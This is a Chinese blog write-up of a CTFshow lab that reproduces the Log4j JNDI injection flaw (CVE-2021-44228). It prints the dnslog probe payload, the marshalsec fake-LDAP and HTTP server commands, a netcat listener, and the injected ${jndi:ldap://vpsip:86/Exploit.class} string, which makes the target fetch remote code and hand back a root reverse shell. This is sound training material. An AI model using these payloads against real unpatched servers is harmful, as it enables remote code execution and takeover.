[Log4j]CVE-2021-44228 CTFshow

声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!
复现参考文档1
复现参考文档2

环境

https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730
2.0 <= Apache log4j2 <= 2.14.1
简单来说,用户输入会记录在log4j中,而log4j自带lookup功能,格式为${parser:xxx}。如果用户输入lookup会被log4j解析。
jndi是parser的一种,是一种标准的Java命名系统接口,可以连接远程服务,格式为${jndi:schema://url}
ldap是schema的一种,${jndi:ldap://url}会使log4j从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
而url的内容可以被控制,我们可以返回恶意代码

验证漏洞存在

使用dnslog平台,查看是否有解析记录
${jndi:ldap://7j0eqi.dnslog.cn}
成功在dnslog平台查看到访问记录,证实这里漏洞存在

在这里插入图片描述

前期准备

vps(有java环境、有安装netcat、python环境)
恶意class文件(可参考:复现参考文档1)
marshalsec-0.0.3-SNAPSHOT-all.jar(用作伪装成LDAP服务器)

编译生成class文件

javac Exploit.java

在这里插入图片描述

在恶意类文件目录下开启http服务


python3 -m http.server 85

在这里插入图片描述>下载marshalsec并运行–伪装ldap服务器

# 启动
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsip:85/#Exploit" 86
86表示ldap服务监听的端口,不加就是默认1389
复现时要确保使用的端口开放(云服务器安全规则)

在这里插入图片描述

利用

#监听8080
nc -lvvp 8080
#靶机
${jndi:ldap://vpsip:86/Exploit.class}

结果

访问LDAP服务,LDAP服务会去加载85端口http服务下的恶意class文件并执行,然后反弹shell给8080端口

在这里插入图片描述

8080端口获得shell(root权限)

在这里插入图片描述

获取flag
cat /ctfshowflag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值